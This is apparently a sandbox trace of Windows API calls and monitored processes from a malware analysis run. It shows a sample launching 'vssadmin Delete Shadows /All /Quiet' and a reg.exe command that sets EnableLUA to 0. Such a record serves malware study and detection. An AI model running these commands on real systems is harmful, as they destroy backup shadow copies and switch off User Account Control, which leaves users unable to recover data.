	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0231.071] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0231.072] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0231.072] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0231.072] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0231.072] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0231.072] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0231.072] GetProcessHeap () returned 0x24e143e0000
	[0231.072] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e1890) returned 1
	[0231.072] GetProcessHeap () returned 0x24e143e0000
	[0231.072] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x12) returned 0x24e143e1890
	[0231.072] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0231.143] _get_osfhandle (_FileHandle=1) returned 0x150
	[0231.143] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0231.143] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0231.143] SetConsoleMode (hConsoleHandle=0x14c, dwMode=0x0) returned 0
	[0231.143] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xf5f7f5f300*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf5f7f5f2d8 | out: lpCommandLine="vssadmin  Delete Shadows /All /Quiet", lpProcessInformation=0xf5f7f5f2d8*(hProcess=0x90, hThread=0x8c, dwProcessId=0xbc4, dwThreadId=0x8f8)) returned 1
	[0231.190] CloseHandle (hObject=0x8c) returned 1
	[0231.190] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0231.190] GetProcessHeap () returned 0x24e143e0000
	[0231.190] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e9a10) returned 1
	[0231.190] GetEnvironmentStringsW () returned 0x24e143e59d0*
	[0231.190] GetProcessHeap () returned 0x24e143e0000
	[0231.190] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xac4) returned 0x24e143e8f40
	[0231.190] FreeEnvironmentStringsA (penv="=") returned 1
	[0231.192] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0
	[0232.820] GetExitCodeProcess (in: hProcess=0x90, lpExitCode=0xf5f7f5f258 | out: lpExitCode=0xf5f7f5f258*=0x2) returned 1
	[0232.820] CloseHandle (hObject=0x90) returned 1
	[0232.820] _vsnwprintf (in: _Buffer=0xf5f7f5f428, _BufferCount=0x13, _Format="%08X", _ArgList=0xf5f7f5f268 | out: _Buffer="00000002") returned 8
	[0232.821] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0232.821] GetProcessHeap () returned 0x24e143e0000
	[0232.821] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e8f40) returned 1
	[0232.821] GetEnvironmentStringsW () returned 0x24e143e7e90*
	[0232.821] GetProcessHeap () returned 0x24e143e0000
	[0232.821] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xaea) returned 0x24e143e8990
	[0232.821] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.821] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0232.821] GetProcessHeap () returned 0x24e143e0000
	[0232.821] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e8990) returned 1
	[0232.821] GetEnvironmentStringsW () returned 0x24e143e7e90*
	[0232.822] GetProcessHeap () returned 0x24e143e0000
	[0232.822] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xaea) returned 0x24e143e8990
	[0232.822] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.822] GetProcessHeap () returned 0x24e143e0000
	[0232.822] RtlFreeHeap (HeapHandle=0x24e143e0000, Flags=0x0, BaseAddress=0x24e143e1890) returned 1
	[0232.822] DeleteProcThreadAttributeList (in: lpAttributeList=0xf5f7f5f3e0 | out: lpAttributeList=0xf5f7f5f3e0) 
	[0232.822] ??_V@YAXPEAX@Z () returned 0x1
	[0232.822] _get_osfhandle (_FileHandle=1) returned 0x150
	[0232.822] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0232.822] _get_osfhandle (_FileHandle=1) returned 0x150
	[0232.822] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 0
	[0232.822] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0232.822] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 0
	[0232.823] GetConsoleOutputCP () returned 0x1b5
	[0232.831] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0232.831] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0232.833] exit (_Code=2) 

Thread:
	id = 81
	os_tid = 0xa20


Process:
	id = "15"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x4e58a000"
	os_pid = "0xfe0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xfd0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 69
	os_tid = 0xfe4


Thread:
	id = 73
	os_tid = 0x378


Thread:
	id = 75
	os_tid = 0x930


Thread:
	id = 78
	os_tid = 0x66c


Thread:
	id = 79
	os_tid = 0x65c


Process:
	id = "16"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x38122000"
	os_pid = "0xfe8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xfd8"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 70
	os_tid = 0xfec


Thread:
	id = 71
	os_tid = 0xff8


Thread:
	id = 72
	os_tid = 0x90c


Thread:
	id = 74
	os_tid = 0x934


Thread:
	id = 76
	os_tid = 0x664


Thread:
	id = 77
	os_tid = 0x670


Process:
	id = "17"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x4fbc5000"
	os_pid = "0xbc4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xfd8"
	cmd_line = "vssadmin  Delete Shadows /All /Quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 82
	os_tid = 0x8f8


Thread:
	id = 83
	os_tid = 0x8e8


Thread:
	id = 86
	os_tid = 0x498


Thread:
	id = 87
	os_tid = 0x1a4


Thread:
	id = 88
	os_tid = 0x1f4


Process:
	id = "18"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0x5072f000"
	os_pid = "0x650"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xfd0"
	cmd_line = "reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 84
	os_tid = 0x470

	[0232.078] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff68db10000
	[0232.078] __set_app_type (_Type=0x1) 
	[0232.078] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff68db1e1f0) returned 0x0
	[0232.079] __wgetmainargs (in: _Argc=0x7ff68db22048, _Argv=0x7ff68db22050, _Env=0x7ff68db22058, _DoWildCard=0, _StartInfo=0x7ff68db22064 | out: _Argc=0x7ff68db22048, _Argv=0x7ff68db22050, _Env=0x7ff68db22058) returned 0
	[0232.080] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0232.118] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0232.118] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0xb77ab5f808 | out: phkResult=0xb77ab5f808*=0x0) returned 0x2
	[0232.119] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0232.119] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0232.119] GetProcessHeap () returned 0x272d5b80000
	[0232.119] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b82ee0
	[0232.119] lstrlenW (lpString="") returned 0
	[0232.119] GetProcessHeap () returned 0x272d5b80000
	[0232.119] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x2) returned 0x272d5b840d0
	[0232.119] GetProcessHeap () returned 0x272d5b80000
	[0232.119] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b840f0
	[0232.119] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b84120
	[0232.120] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b84950
	[0232.120] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b84980
	[0232.120] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b849b0
	[0232.120] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b849e0
	[0232.120] GetProcessHeap () returned 0x272d5b80000
	[0232.120] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b84860
	[0232.121] GetProcessHeap () returned 0x272d5b80000
	[0232.121] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b84880
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b89280
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b89220
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b890a0
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b848b0
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b891c0
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b892b0
	[0232.122] GetProcessHeap () returned 0x272d5b80000
	[0232.122] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b89010
	[0232.123] GetProcessHeap () returned 0x272d5b80000
	[0232.123] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b88fe0
	[0232.123] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0232.129] GetProcessHeap () returned 0x272d5b80000
	[0232.129] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b84c40
	[0232.129] _memicmp (_Buf1=0x272d5b84c40, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.129] GetProcessHeap () returned 0x272d5b80000
	[0232.129] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x1e) returned 0x272d5b89040
	[0232.129] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.129] GetProcessHeap () returned 0x272d5b80000
	[0232.129] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b84c60
	[0232.129] _memicmp (_Buf1=0x272d5b84c60, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.129] GetProcessHeap () returned 0x272d5b80000
	[0232.129] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x84) returned 0x272d5b83e40
	[0232.130] _vsnwprintf (in: _Buffer=0x272d5b89040, _BufferCount=0xe, _Format="|%s|", _ArgList=0xb77ab5f648 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0232.130] _vsnwprintf (in: _Buffer=0x272d5b83e40, _BufferCount=0x41, _Format="|%s|", _ArgList=0xb77ab5f648 | out: _Buffer="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
	[0232.130] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0232.130] lstrlenW (lpString="|HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64
	[0232.130] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.130] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.130] GetProcessHeap () returned 0x272d5b80000
	[0232.130] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x7e) returned 0x272d5b84590
	[0232.130] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0232.130] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0232.131] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.132] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0232.133] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0232.135] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0
	[0232.135] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.135] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0232.135] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.135] lstrlenW (lpString="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62
	[0232.135] StrChrIW (lpStart="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
	[0232.136] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0232.136] GetProcessHeap () returned 0x272d5b80000
	[0232.136] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x28) returned 0x272d5b890d0
	[0232.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0232.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 3
	[0232.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCR", cchCount2=-1) returned 3
	[0232.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CLASSES_ROOT", cchCount2=-1) returned 3
	[0232.136] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCC", cchCount2=-1) returned 3
	[0232.137] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_CONFIG", cchCount2=-1) returned 3
	[0232.137] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKLM", cchCount2=-1) returned 2
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Policies\\System"
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\CurrentVersion\\Policies\\System"
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Policies\\System"
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="Policies\\System", wMatch=0x5c) returned="\\System"
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] StrChrIW (lpStart="System", wMatch=0x5c) returned 0x0
	[0232.137] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.137] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.137] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.138] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x74) returned 0x272d5b841f0
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0xa0) returned 0x272d5b84fd0
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b890d0) returned 1
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b890d0) returned 0x28
	[0232.138] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b890d0) returned 1
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84590) returned 1
	[0232.138] GetProcessHeap () returned 0x272d5b80000
	[0232.138] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84590) returned 0x7e
	[0232.138] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84590) returned 1
	[0232.139] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0232.139] lstrlenW (lpString="EnableLUA") returned 9
	[0232.139] GetProcessHeap () returned 0x272d5b80000
	[0232.139] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x14) returned 0x272d5b85080
	[0232.139] lstrlenW (lpString="EnableLUA") returned 9
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
